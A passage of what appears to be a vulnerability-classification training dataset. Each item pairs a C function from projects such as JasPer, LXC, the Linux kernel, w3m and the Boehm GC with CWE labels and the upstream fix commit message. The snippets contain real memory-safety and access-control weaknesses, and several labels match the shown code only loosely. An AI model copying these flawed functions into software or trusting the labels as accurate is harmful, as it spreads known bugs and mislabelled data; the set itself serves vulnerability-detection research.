* Decode the packet header.\n\t */\n\n\t/* Decode the SOP marker segment if present. */\n\tif (cp->csty & JPC_COD_SOP) {\n\t\tif (jpc_dec_lookahead(in) == JPC_MS_SOP) {\n\t\t\tif (!(ms = jpc_getms(in, dec->cstate))) {\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif (jpc_ms_gettype(ms) != JPC_MS_SOP) {\n\t\t\t\tjpc_ms_destroy(ms);\n\t\t\t\tjas_eprintf(\"missing SOP marker segment\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tjpc_ms_destroy(ms);\n\t\t}\n\t}\n\nhdroffstart = jas_stream_getrwcount(pkthdrstream);\n\n\tif (!(inb = jpc_bitstream_sopen(pkthdrstream, \"r\"))) {\n\t\treturn -1;\n\t}\n\n\tif ((present = jpc_bitstream_getbit(inb)) < 0) {\n\t\tjpc_bitstream_close(inb);\n\t\treturn 1;\n\t}\n\tJAS_DBGLOG(10, (\"\\n\", present));\n\tJAS_DBGLOG(10, (\"present=%d \", present));\n\n\t/* Is the packet non-empty? */\n\tif (present) {\n\t\t/* The packet is non-empty. */\n\t\ttcomp = &tile->tcomps[compno];\n\t\trlvl = &tcomp->rlvls[rlvlno];\n\t\tbodylen = 0;\n\t\tfor (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;\n\t\t ++bandno, ++band) {\n\t\t\tif (!band->data) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tprc = &band->prcs[prcno];\n\t\t\tif (!prc->cblks) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tusedcblkcnt = 0;\n\t\t\tfor (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;\n\t\t\t ++cblkno, ++cblk) {\n\t\t\t\t++usedcblkcnt;\n\t\t\t\tif (!cblk->numpasses) {\n\t\t\t\t\tleaf = jpc_tagtree_getleaf(prc->incltagtree, usedcblkcnt - 1);\n\t\t\t\t\tif ((included = jpc_tagtree_decode(prc->incltagtree, leaf, lyrno + 1, inb)) < 0) {\n\t\t\t\t\t\tjpc_bitstream_close(inb);\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif ((included = jpc_bitstream_getbit(inb)) < 0) {\n\t\t\t\t\t\tjpc_bitstream_close(inb);\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tJAS_DBGLOG(10, (\"\\n\"));\n\t\t\t\tJAS_DBGLOG(10, (\"included=%d \", included));\n\t\t\t\tif (!included) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif (!cblk->numpasses) {\n\t\t\t\t\ti = 1;\n\t\t\t\t\tleaf = jpc_tagtree_getleaf(prc->numimsbstagtree, usedcblkcnt - 1);\n\t\t\t\t\tfor (;;) {\n\t\t\t\t\t\tif ((ret = jpc_tagtree_decode(prc->numimsbstagtree, leaf, i, inb)) < 0) {\n\t\t\t\t\t\t\tjpc_bitstream_close(inb);\n\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (ret) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t++i;\n\t\t\t\t\t}\n\t\t\t\t\tcblk->numimsbs = i - 1;\n\t\t\t\t\tcblk->firstpassno = cblk->numimsbs * 3;\n\t\t\t\t}\n\t\t\t\tif ((numnewpasses = jpc_getnumnewpasses(inb)) < 0) {\n\t\t\t\t\tjpc_bitstream_close(inb);\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\tJAS_DBGLOG(10, (\"numnewpasses=%d \", numnewpasses));\n\t\t\t\tseg = cblk->curseg;\n\t\t\t\tsavenumnewpasses = numnewpasses;\n\t\t\t\tmycounter = 0;\n\t\t\t\tif (numnewpasses > 0) {\n\t\t\t\t\tif ((m = jpc_getcommacode(inb)) < 0) {\n\t\t\t\t\t\tjpc_bitstream_close(inb);\n\t\t\t\t\t\treturn -1;\n\t\t\t\t\t}\n\t\t\t\t\tcblk->numlenbits += m;\n\t\t\t\t\tJAS_DBGLOG(10, (\"increment=%d \", m));\n\t\t\t\t\twhile (numnewpasses > 0) {\n\t\t\t\t\t\tpassno = cblk->firstpassno + cblk->numpasses + mycounter;\n\t/* XXX - the maxpasses is not set precisely but this doesn't matter... */\n\t\t\t\t\t\tmaxpasses = JPC_SEGPASSCNT(passno, cblk->firstpassno, 10000, (ccp->cblkctx & JPC_COX_LAZY) != 0, (ccp->cblkctx & JPC_COX_TERMALL) != 0);\n\t\t\t\t\t\tif (!discard && !seg) {\n\t\t\t\t\t\t\tif (!(seg = jpc_seg_alloc())) {\n\t\t\t\t\t\t\t\tjpc_bitstream_close(inb);\n\t\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tjpc_seglist_insert(&cblk->segs, cblk->segs.tail, seg);\n\t\t\t\t\t\t\tif (!cblk->curseg) {\n\t\t\t\t\t\t\t\tcblk->curseg = seg;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tseg->passno = passno;\n\t\t\t\t\t\t\tseg->type = JPC_SEGTYPE(seg->passno, cblk->firstpassno, (ccp->cblkctx & JPC_COX_LAZY) != 0);\n\t\t\t\t\t\t\tseg->maxpasses = maxpasses;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tn = JAS_MIN(numnewpasses, maxpasses);\n\t\t\t\t\t\tmycounter += n;\n\t\t\t\t\t\tnumnewpasses -= n;\n\t\t\t\t\t\tif ((len = jpc_bitstream_getbits(inb, cblk->numlenbits + jpc_floorlog2(n))) < 0) {\n\t\t\t\t\t\t\tjpc_bitstream_close(inb);\n\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tJAS_DBGLOG(10, (\"len=%d \", len));\n\t\t\t\t\t\tif (!discard) {\n\t\t\t\t\t\t\tseg->lyrno = lyrno;\n\t\t\t\t\t\t\tseg->numpasses += n;\n\t\t\t\t\t\t\tseg->cnt = len;\n\t\t\t\t\t\t\tseg = seg->next;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbodylen += len;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcblk->numpasses += savenumnewpasses;\n\t\t\t}\n\t\t}\n\n\t\tjpc_bitstream_inalign(inb, 0, 0);\n\n\t} else {\n\t\tif (jpc_bitstream_inalign(inb, 0x7f, 0)) {\n\t\t\tjas_eprintf(\"alignment failed\\n\");\n\t\t\tjpc_bitstream_close(inb);\n\t\t\treturn -1;\n\t\t}\n\t}\n\tjpc_bitstream_close(inb);\n\n\thdroffend = jas_stream_getrwcount(pkthdrstream);\n\thdrlen = hdroffend - hdroffstart;\n\tif (jas_getdbglevel() >= 5) {\n\t\tjas_eprintf(\"hdrlen=%lu bodylen=%lu \\n\", (unsigned long) hdrlen,\n\t\t (unsigned long) bodylen);\n\t}\n\n\tif (cp->csty & JPC_COD_EPH) {\n\t\tif (jpc_dec_lookahead(pkthdrstream) == JPC_MS_EPH) {\n\t\t\tif (!(ms = jpc_getms(pkthdrstream, dec->cstate))) {\n\t\t\t\tjas_eprintf(\"cannot get (EPH) marker segment\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif (jpc_ms_gettype(ms) != JPC_MS_EPH) {\n\t\t\t\tjpc_ms_destroy(ms);\n\t\t\t\tjas_eprintf(\"missing EPH marker segment\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tjpc_ms_destroy(ms);\n\t\t}\n\t}\n\n\t/* decode the packet body. */\n\n\tif (jas_getdbglevel() >= 1) {\n\t\tjas_eprintf(\"packet body offset=%06ld\\n\", (long) jas_stream_getrwcount(in));\n\t}\n\n\tif (!discard) {\n\t\ttcomp = &tile->tcomps[compno];\n\t\trlvl = &tcomp->rlvls[rlvlno];\n\t\tfor (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;\n\t\t ++bandno, ++band) {\n\t\t\tif (!band->data) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tprc = &band->prcs[prcno];\n\t\t\tif (!prc->cblks) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tfor (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;\n\t\t\t ++cblkno, ++cblk) {\n\t\t\t\tseg = cblk->curseg;\n\t\t\t\twhile (seg) {\n\t\t\t\t\tif (!seg->stream) {\n\t\t\t\t\t\tif (!(seg->stream = jas_stream_memopen(0, 0))) {\n\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n#if 0\njas_eprintf(\"lyrno=%02d, compno=%02d, lvlno=%02d, prcno=%02d, bandno=%02d, cblkno=%02d, passno=%02d numpasses=%02d cnt=%d numbps=%d, numimsbs=%d\\n\", lyrno, compno, rlvlno, prcno, band - rlvl->bands, cblk - prc->cblks, seg->passno, seg->numpasses, seg->cnt, band->numbps, cblk->numimsbs);\n#endif\n\t\t\t\t\tif (seg->cnt > 0) {\n\t\t\t\t\t\tif (jpc_getdata(in, seg->stream, seg->cnt) < 0) {\n\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tseg->cnt = 0;\n\t\t\t\t\t}\n\t\t\t\t\tif (seg->numpasses >= seg->maxpasses) {\n\t\t\t\t\t\tcblk->curseg = seg->next;\n\t\t\t\t\t}\n\t\t\t\t\tseg = seg->next;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif (jas_stream_gobble(in, bodylen) != JAS_CAST(int, bodylen)) {\n\t\t\treturn -1;\n\t\t}\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'jpc_t2dec: work around CVE-2016-9398 by limiting cblk->firstpassno\n\nThis replaces my commit 910c351ff5a80a373c5f0ec19f012e8d52b8b4c9 which\nwas reverted by fc03b57384225055847ec92659e50f95d9ea63f2\n\nCloses https://github.com/jasper-maint/jasper/issues/10'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int lsm_set_label_at(int procfd, int on_exec, char* lsm_label) {\n\tint labelfd = -1;\n\tint ret = 0;\n\tconst char* name;\n\tchar* command = NULL;\n\n\tname = lsm_name();\n\n\tif (strcmp(name, \"nop\") == 0)\n\t\tgoto out;\n\n\tif (strcmp(name, \"none\") == 0)\n\t\tgoto out;\n\n\t/* We don't support on-exec with AppArmor */\n\tif (strcmp(name, \"AppArmor\") == 0)\n\t\ton_exec = 0;\n\n\tif (on_exec) {\n\t\tlabelfd = openat(procfd, \"self/attr/exec\", O_RDWR);\n\t}\n\telse {\n\t\tlabelfd = openat(procfd, \"self/attr/current\", O_RDWR);\n\t}\n\n\tif (labelfd < 0) {\n\t\tSYSERROR(\"Unable to open LSM label\");\n\t\tret = -1;\n\t\tgoto out;\n\t}\n\n\tif (strcmp(name, \"AppArmor\") == 0) {\n\t\tint size;\n\n\t\tcommand = malloc(strlen(lsm_label) + strlen(\"changeprofile \") + 1);\n\t\tif (!command) {\n\t\t\tSYSERROR(\"Failed to write apparmor profile\");\n\t\t\tret = -1;\n\t\t\tgoto out;\n\t\t}\n\n\t\tsize = sprintf(command, \"changeprofile %s\", lsm_label);\n\t\tif (size < 0) {\n\t\t\tSYSERROR(\"Failed to write apparmor profile\");\n\t\t\tret = -1;\n\t\t\tgoto out;\n\t\t}\n\n\t\tif (write(labelfd, command, size + 1) < 0) {\n\t\t\tSYSERROR(\"Unable to set LSM label\");\n\t\t\tret = -1;\n\t\t\tgoto out;\n\t\t}\n\t}\n\telse if (strcmp(name, \"SELinux\") == 0) {\n\t\tif (write(labelfd, lsm_label, strlen(lsm_label) + 1) < 0) {\n\t\t\tSYSERROR(\"Unable to set LSM label\");\n\t\t\tret = -1;\n\t\t\tgoto out;\n\t\t}\n\t}\n\telse {\n\t\tERROR(\"Unable to restore label for unknown LSM: %s\", name);\n\t\tret = -1;\n\t\tgoto out;\n\t}\n\nout:\n\tfree(command);\n\n\tif (labelfd != -1)\n\t\tclose(labelfd);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'attach: do not send procfd to attached process\n\nSo far, we opened a file descriptor refering to proc on the host inside the\nhost namespace and handed that fd to the attached process in\nattach_child_main(). This was done to ensure that LSM labels were correctly\nsetup. However, by exploiting a potential kernel bug, ptrace could be used to\nprevent the file descriptor from being closed which in turn could be used by an\nunprivileged container to gain access to the host namespace. Aside from this\nneeding an upstream kernel fix, we should make sure that we don't pass the fd\nfor proc itself to the attached process. However, we cannot completely prevent\nthis, as the attached process needs to be able to change its apparmor profile\nby writing to /proc/self/attr/exec or /proc/self/attr/current. To minimize the\nattack surface, we only send the fd for /proc/self/attr/exec or\n/proc/self/attr/current to the attached process. To do this we introduce a\nlittle more IPC between the child and parent:\n\n\t * IPC mechanism: (X is receiver)\n\t * initial process intermediate attached\n\t * X <--- send pid of\n\t * attached proc,\n\t * then exit\n\t * send 0 ------------------------------------> X\n\t * [do initialization]\n\t * X <------------------------------------ send 1\n\t * [add to cgroup, ...]\n\t * send 2 ------------------------------------> X\n\t *\t\t\t\t\t\t[set LXC_ATTACH_NO_NEW_PRIVS]\n\t * X <------------------------------------ send 3\n\t * [open LSM label fd]\n\t * send 4 ------------------------------------> X\n\t * \t\t\t\t\t\t[set LSM label]\n\t * close socket close socket\n\t * run program\n\nThe attached child tells the parent when it is ready to have its LSM labels set\nup. The parent then opens an approriate fd for the child PID to\n/proc//attr/exec or /proc//attr/current and sends it via SCM_RIGHTS\nto the child. The child can then set its LSM laben. Both sides then close the\nsocket fds and the child execs the requested process.\n\nSigned-off-by: Christian Brauner '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void math_error(struct pt_regs *regs, int error_code, int trapnr)\n{\n\tstruct task_struct *task = current;\n\tstruct fpu *fpu = &task->thread.fpu;\n\tsiginfo_t info;\n\tchar *str = (trapnr == X86_TRAP_MF) ? \"fpu exception\" :\n\t\t\t\t\t\t\"simd exception\";\n\n\tif (notify_die(DIE_TRAP, str, regs, error_code, trapnr, SIGFPE) == NOTIFY_STOP)\n\t\treturn;\n\tconditional_sti(regs);\n\n\tif (!user_mode(regs)) {\n\t\tif (!fixup_exception(regs)) {\n\t\t\ttask->thread.error_code = error_code;\n\t\t\ttask->thread.trap_nr = trapnr;\n\t\t\tdie(str, regs, error_code);\n\t\t}\n\t\treturn;\n\t}\n\n\t/*\n\t * Save the info for the exception handler and clear the error.\n\t */\n\tfpu__save(fpu);\n\n\ttask->thread.trap_nr\t= trapnr;\n\ttask->thread.error_code = error_code;\n\tinfo.si_signo\t\t= SIGFPE;\n\tinfo.si_errno\t\t= 0;\n\tinfo.si_addr\t\t= (void __user *)uprobe_get_trap_addr(regs);\n\n\tinfo.si_code = fpu__exception_code(fpu, trapnr);\n\n\t/* Retry when we get spurious exceptions: */\n\tif (!info.si_code)\n\t\treturn;\n\n\tforce_sig_info(SIGFPE, &info, task);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'x86/mm: Expand the exception table logic to allow new handling options\n\nHuge amounts of help from Andy Lutomirski and Borislav Petkov to\nproduce this. Andy provided the inspiration to add classes to the\nexception table with a clever bit-squeezing trick, Boris pointed\nout how much cleaner it would all be if we just had a new field.\n\nLinus Torvalds blessed the expansion with:\n\n ' I'd rather not be clever in order to save just a tiny amount of space\n in the exception table, which isn't really criticial for anybody. '\n\nThe third field is another relative function pointer, this one to a\nhandler that executes the actions.\n\nWe start out with three handlers:\n\n 1: Legacy - just jumps the to fixup IP\n 2: Fault - provide the trap number in %ax to the fixup code\n 3: Cleaned up legacy for the uaccess error hack\n\nSigned-off-by: Tony Luck \nReviewed-by: Borislav Petkov \nCc: Linus Torvalds \nCc: Peter Zijlstra \nCc: Thomas Gleixner \nLink: http://lkml.kernel.org/r/f6af78fcbd348cf4939875cfda9c19689b5e50b8.1455732970.git.tony.luck@intel.com\nSigned-off-by: Ingo Molnar '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: formList_addInput(struct form_list *fl, struct parsed_tag *tag)\n{\n struct form_item_list *item;\n char *p;\n int i;\n\n /* if not in
..
environment, just ignore tag */\n if (fl == NULL)\n\treturn NULL;\n\n item = New(struct form_item_list);\n item->type = FORM_UNKNOWN;\n item->size = -1;\n item->rows = 0;\n item->checked = item->init_checked = 0;\n item->accept = 0;\n item->name = NULL;\n item->value = item->init_value = NULL;\n item->readonly = 0;\n if (parsedtag_get_value(tag, ATTR_TYPE, &p)) {\n\titem->type = formtype(p);\n\tif (item->size < 0 &&\n\t (item->type == FORM_INPUT_TEXT ||\n\t item->type == FORM_INPUT_FILE ||\n\t item->type == FORM_INPUT_PASSWORD))\n\t item->size = FORM_I_TEXT_DEFAULT_SIZE;\n }\n if (parsedtag_get_value(tag, ATTR_NAME, &p))\n\titem->name = Strnew_charp(p);\n if (parsedtag_get_value(tag, ATTR_VALUE, &p))\n\titem->value = item->init_value = Strnew_charp(p);\n item->checked = item->init_checked = parsedtag_exists(tag, ATTR_CHECKED);\n item->accept = parsedtag_exists(tag, ATTR_ACCEPT);\n parsedtag_get_value(tag, ATTR_SIZE, &item->size);\n parsedtag_get_value(tag, ATTR_MAXLENGTH, &item->maxlength);\n item->readonly = parsedtag_exists(tag, ATTR_READONLY);\n if (parsedtag_get_value(tag, ATTR_TEXTAREANUMBER, &i))\n\titem->value = item->init_value = textarea_str[i];\n#ifdef MENU_SELECT\n if (parsedtag_get_value(tag, ATTR_SELECTNUMBER, &i))\n\titem->select_option = select_option[i].first;\n#endif\t\t\t\t/* MENU_SELECT */\n if (parsedtag_get_value(tag, ATTR_ROWS, &p))\n\titem->rows = atoi(p);\n if (item->type == FORM_UNKNOWN) {\n\t/* type attribute is missing. Ignore the tag. */\n\treturn NULL;\n }\n#ifdef MENU_SELECT\n if (item->type == FORM_SELECT) {\n\tchooseSelectOption(item, item->select_option);\n\titem->init_selected = item->selected;\n\titem->init_value = item->value;\n\titem->init_label = item->label;\n }\n#endif\t\t\t\t/* MENU_SELECT */\n if (item->type == FORM_INPUT_FILE && item->value && item->value->length) {\n\t/* security hole ! */\n\treturn NULL;\n }\n item->parent = fl;\n item->next = NULL;\n if (fl->item == NULL) {\n\tfl->item = fl->lastitem = item;\n }\n else {\n\tfl->lastitem->next = item;\n\tfl->lastitem = item;\n }\n if (item->type == FORM_INPUT_HIDDEN)\n\treturn NULL;\n fl->nitems++;\n return item;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Prevent negative array index for selectnumber and textareanumber\n\nBug-Debian: https://github.com/tats/w3m/issues/12'
" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: GC_INNER void GC_setpagesize(void)\n {\n# if defined(MPROTECT_VDB) || defined(PROC_VDB) || defined(USE_MMAP)\n GC_page_size = GETPAGESIZE();\n if (!GC_page_size) ABORT(\"getpagesize failed\");\n# else\n /* It's acceptable to fake it. */\n GC_page_size = HBLKSIZE;\n# endif\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix malloc routines to prevent size value wrap-around\n\nSee issue #135 on Github.\n\n* allchblk.c (GC_allochblk, GC_allochblk_nth): Use\nOBJ_SZ_TO_BLOCKS_CHECKED instead of OBJ_SZ_TO_BLOCKS.\n* malloc.c (GC_alloc_large): Likewise.\n* alloc.c (GC_expand_hp_inner): Type of \"bytes\" local variable changed\nfrom word to size_t; cast ROUNDUP_PAGESIZE argument to size_t; prevent\noverflow when computing GC_heapsize+bytes > GC_max_heapsize.\n* dbg_mlc.c (GC_debug_malloc, GC_debug_malloc_ignore_off_page,\nGC_debug_malloc_atomic_ignore_off_page, GC_debug_generic_malloc,\nGC_debug_generic_malloc_inner,\nGC_debug_generic_malloc_inner_ignore_off_page,\nGC_debug_malloc_stubborn, GC_debug_malloc_atomic,\nGC_debug_malloc_uncollectable, GC_debug_malloc_atomic_uncollectable):\nUse SIZET_SAT_ADD (instead of \"+\" operator) to add extra bytes to lb\nvalue.\n* fnlz_mlc.c (GC_finalized_malloc): Likewise.\n* gcj_mlc.c (GC_debug_gcj_malloc): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Likewise.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* mallocx.c (GC_malloc_many, GC_memalign): Likewise.\n* os_dep.c (GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* typd_mlc.c (GC_malloc_explicitly_typed,\nGC_malloc_explicitly_typed_ignore_off_page,\nGC_calloc_explicitly_typed): Likewise.\n* headers.c (GC_scratch_alloc): Change type of bytes_to_get from word\nto size_t (because ROUNDUP_PAGESIZE_IF_MMAP result type changed).\n* include/private/gc_priv.h: Include limits.h (unless SIZE_MAX already\ndefined).\n* include/private/gc_priv.h (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Move from\nmalloc.c file.\n* include/private/gc_priv.h (SIZET_SAT_ADD): New macro (defined before\ninclude gcconfig.h).\n* include/private/gc_priv.h (EXTRA_BYTES, GC_page_size): Change type\nto size_t.\n* os_dep.c (GC_page_size): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, ROUNDUP_PAGESIZE): Add comment about the argument.\n* include/private/gcconfig.h (GET_MEM): Likewise.\n* include/private/gc_priv.h (ROUNDUP_GRANULE_SIZE, ROUNDED_UP_GRANULES,\nADD_SLOP, OBJ_SZ_TO_BLOCKS, ROUNDUP_PAGESIZE,\nROUNDUP_PAGESIZE_IF_MMAP): Rename argument to \"lb\".\n* include/private/gc_priv.h (OBJ_SZ_TO_BLOCKS_CHECKED): New macro.\n* include/private/gcconfig.h (GC_win32_get_mem, GC_wince_get_mem,\nGC_unix_get_mem): Change argument type from word to int.\n* os_dep.c (GC_unix_mmap_get_mem, GC_unix_get_mem,\nGC_unix_sbrk_get_mem, GC_wince_get_mem, GC_win32_get_mem): Likewise.\n* malloc.c (GC_alloc_large_and_clear): Call OBJ_SZ_TO_BLOCKS only\nif no value wrap around is guaranteed.\n* malloc.c (GC_generic_malloc): Do not check for lb_rounded < lb case\n(because ROUNDED_UP_GRANULES and GRANULES_TO_BYTES guarantees no value\nwrap around).\n* mallocx.c (GC_generic_malloc_ignore_off_page): Likewise.\n* misc.c (GC_init_size_map): Change \"i\" local variable type from int\nto size_t.\n* os_dep.c (GC_write_fault_handler, catch_exception_raise): Likewise.\n* misc.c (GC_envfile_init): Cast len to size_t when passed to\nROUNDUP_PAGESIZE_IF_MMAP.\n* os_dep.c (GC_setpagesize): Cast GC_sysinfo.dwPageSize and\nGETPAGESIZE() to size_t (when setting GC_page_size).\n* os_dep.c (GC_unix_mmap_get_mem, GC_unmap_start, GC_remove_protection):\nExpand ROUNDUP_PAGESIZE macro but without value wrap-around checking\n(the argument is of word type).\n* os_dep.c (GC_unix_mmap_get_mem): Replace -GC_page_size with\n~GC_page_size+1 (because GC_page_size is unsigned); remove redundant\ncast to size_t.\n* os_dep.c (GC_unix_sbrk_get_mem): Add explicit cast of GC_page_size\nto SBRK_ARG_T.\n* os_dep.c (GC_wince_get_mem): Change type of res_bytes local variable\nto size_t.\n* typd_mlc.c: Do not include limits.h.\n* typd_mlc.c (GC_SIZE_MAX, GC_SQRT_SIZE_MAX): Remove (as defined in\ngc_priv.h now).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: GC_allochblk_nth(size_t sz, int kind, unsigned flags, int n, int may_split)\n{\n struct hblk *hbp;\n hdr * hhdr; /* Header corr. to hbp */\n struct hblk *thishbp;\n hdr * thishdr; /* Header corr. to thishbp */\n signed_word size_needed; /* number of bytes in requested objects */\n signed_word size_avail; /* bytes available in this block */\n\n size_needed = HBLKSIZE * OBJ_SZ_TO_BLOCKS(sz);\n\n /* search for a big enough block in free list */\n for (hbp = GC_hblkfreelist[n];; hbp = hhdr -> hb_next) {\n if (NULL == hbp) return NULL;\n GET_HDR(hbp, hhdr); /* set hhdr value */\n size_avail = hhdr->hb_sz;\n if (size_avail < size_needed) continue;\n if (size_avail != size_needed) {\n signed_word next_size;\n\n if (!may_split) continue;\n /* If the next heap block is obviously better, go on. */\n /* This prevents us from disassembling a single large */\n /* block to get tiny blocks. */\n thishbp = hhdr -> hb_next;\n if (thishbp != 0) {\n GET_HDR(thishbp, thishdr);\n next_size = (signed_word)(thishdr -> hb_sz);\n if (next_size < size_avail\n && next_size >= size_needed\n && !GC_is_black_listed(thishbp, (word)size_needed)) {\n continue;\n }\n }\n }\n if (!IS_UNCOLLECTABLE(kind) && (kind != PTRFREE\n || size_needed > (signed_word)MAX_BLACK_LIST_ALLOC)) {\n struct hblk * lasthbp = hbp;\n ptr_t search_end = (ptr_t)hbp + size_avail - size_needed;\n signed_word orig_avail = size_avail;\n signed_word eff_size_needed = (flags & IGNORE_OFF_PAGE) != 0 ?\n (signed_word)HBLKSIZE\n : size_needed;\n\n while ((word)lasthbp <= (word)search_end\n && (thishbp = GC_is_black_listed(lasthbp,\n (word)eff_size_needed)) != 0) {\n lasthbp = thishbp;\n }\n size_avail -= (ptr_t)lasthbp - (ptr_t)hbp;\n thishbp = lasthbp;\n if (size_avail >= size_needed) {\n if (thishbp != hbp) {\n# ifdef USE_MUNMAP\n /* Avoid remapping followed by splitting. */\n if (may_split == AVOID_SPLIT_REMAPPED && !IS_MAPPED(hhdr))\n continue;\n# endif\n thishdr = GC_install_header(thishbp);\n if (0 != thishdr) {\n /* Make sure it's mapped before we mangle it. */\n# ifdef USE_MUNMAP\n if (!IS_MAPPED(hhdr)) {\n GC_remap((ptr_t)hbp, hhdr -> hb_sz);\n hhdr -> hb_flags &= ~WAS_UNMAPPED;\n }\n# endif\n /* Split the block at thishbp */\n GC_split_block(hbp, hhdr, thishbp, thishdr, n);\n /* Advance to thishbp */\n hbp = thishbp;\n hhdr = thishdr;\n /* We must now allocate thishbp, since it may */\n /* be on the wrong free list. */\n }\n }\n } else if (size_needed > (signed_word)BL_LIMIT\n && orig_avail - size_needed\n > (signed_word)BL_LIMIT) {\n /* Punt, since anything else risks unreasonable heap growth. */\n if (++GC_large_alloc_warn_suppressed\n >= GC_large_alloc_warn_interval) {\n WARN(\"Repeated allocation of very large block \"\n \"(appr. size %\" WARN_PRIdPTR \"):\\n\"\n \"\\tMay lead to memory leak and poor performance\\n\",\n size_needed);\n GC_large_alloc_warn_suppressed = 0;\n }\n size_avail = orig_avail;\n } else if (size_avail == 0 && size_needed == HBLKSIZE\n && IS_MAPPED(hhdr)) {\n if (!GC_find_leak) {\n static unsigned count = 0;\n\n /* The block is completely blacklisted. We need */\n /* to drop some such blocks, since otherwise we spend */\n /* all our time traversing them if pointer-free */\n /* blocks are unpopular. */\n /* A dropped block will be reconsidered at next GC. */\n if ((++count & 3) == 0) {\n /* Allocate and drop the block in small chunks, to */\n /* maximize the chance that we will recover some */\n /* later. */\n word total_size = hhdr -> hb_sz;\n struct hblk * limit = hbp + divHBLKSZ(total_size);\n struct hblk * h;\n struct hblk * prev = hhdr -> hb_prev;\n\n GC_large_free_bytes -= total_size;\n GC_bytes_dropped += total_size;\n GC_remove_from_fl_at(hhdr, n);\n for (h = hbp; (word)h < (word)limit; h++) {\n if (h != hbp) {\n hhdr = GC_install_header(h);\n }\n if (NULL != hhdr) {\n (void)setup_header(hhdr, h, HBLKSIZE, PTRFREE, 0);\n /* Can't fail. */\n if (GC_debugging_started) {\n BZERO(h, HBLKSIZE);\n }\n }\n }\n /* Restore hbp to point at free block */\n hbp = prev;\n if (0 == hbp) {\n return GC_allochblk_nth(sz, kind, flags, n, may_split);\n }\n hhdr = HDR(hbp);\n }\n }\n }\n }\n if( size_avail >= size_needed ) {\n# ifdef USE_MUNMAP\n if (!IS_MAPPED(hhdr)) {\n GC_remap((ptr_t)hbp, hhdr -> hb_sz);\n hhdr -> hb_flags &= ~WAS_UNMAPPED;\n /* Note: This may leave adjacent, mapped free blocks. */\n }\n# endif\n /* hbp may be on the wrong freelist; the parameter n */\n /* is important. */\n hbp = GC_get_first_part(hbp, hhdr, size_needed, n);\n break;\n }\n }\n\n if (0 == hbp) return 0;\n\n /* Add it to map of valid blocks */\n if (!GC_install_counts(hbp, (word)size_needed)) return(0);\n /* This leaks memory under very rare conditions. */\n\n /* Set up header */\n if (!setup_header(hhdr, hbp, sz, kind, flags)) {\n GC_remove_counts(hbp, (word)size_needed);\n return(0); /* ditto */\n }\n# ifndef GC_DISABLE_INCREMENTAL\n /* Notify virtual dirty bit implementation that we are about to */\n /* write. Ensure that pointer-free 